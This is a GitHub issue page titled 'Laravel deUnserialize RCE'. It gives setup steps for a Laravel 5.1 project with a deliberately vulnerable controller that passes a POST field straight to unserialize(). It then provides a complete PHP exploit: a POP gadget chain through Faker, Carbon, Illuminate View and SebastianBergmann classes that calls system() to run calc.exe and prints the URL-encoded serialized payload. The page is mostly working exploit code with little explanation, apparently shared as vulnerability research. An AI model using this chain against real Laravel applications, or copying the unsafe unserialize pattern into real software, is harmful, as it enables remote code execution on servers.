Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Laravel deUnserialize RCE #5

Closed
beicheng-maker opened this issue Aug 18, 2022 · 0 comments
Closed

Laravel deUnserialize RCE #5

beicheng-maker opened this issue Aug 18, 2022 · 0 comments

Comments

@beicheng-maker
Copy link
Owner

Laravel5.1 POP4 RCE

composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*"
app/Http/Controllers/UsersController.php adding a controller UsersController

<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class UsersController extends Controller
{

    /**

     * 创建一个新用户。

     *

     * @param  Request  $request

     * @return Response

     */
    public function store(Request $request)
    {  
        echo "Please post cmd to unserialize";

        $payload=$request->input("cmd");

        unserialize($payload);
        //
    }
}
?>

routes/web.php
Route==post('/test',[\App\Http\Controllers\UsersController==class,'store']);

<?php
use Illuminate\Support\Facades\Route;
/*
|--------------------------------------------------------------------------

| Web Routes

|--------------------------------------------------------------------------

|

| Here is where you can register web routes for your application. These

| routes are loaded by the RouteServiceProvider within a group which

| contains the "web" middleware group. Now create something great!

|

*/

Route==post('/test',[\App\Http\Controllers\UsersController==class,'store']);

exp

<?php
namespace Faker;
class DefaultGenerator{
	public $default;

}
namespace Carbon;
class Carbon{}

namespace Faker;
class Generator{
	protected $formatters = [];
	public function __construct(){
		$this->formatters['huahua']='system';
	}
}

namespace Carbon;
use Carbon\Carbon;
use Faker\DefaultGenerator;
use Faker\Generator;
class CarbonPeriod{
	protected $current;
	protected $dateClass;
	protected $filters = [];
	protected $key;
	public function __construct(){
		$this->dateClass=new DefaultGenerator;
		$this->dateClass->default=new DefaultGenerator;
		$this->dateClass->default->default='huahua';
		$this->current=new Carbon;
		$this->filters[][]=[new Generator,'format'];
		$this->key=array("calc.exe");
	}
}


namespace Illuminate\View;
use Carbon\CarbonPeriod;
class InvokableComponentVariable{
	protected $callable=[];
	public function __construct(){
		$this->callable=[new CarbonPeriod,'valid'];
	}
}
namespace SebastianBergmann\RecursionContext;
use Illuminate\View\InvokableComponentVariable;
final class Context{
	private $arrays = [];
	public function __construct(){
		$this->arrays=new InvokableComponentVariable;
	}
}
echo urlencode(serialize(new Context));
?>

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant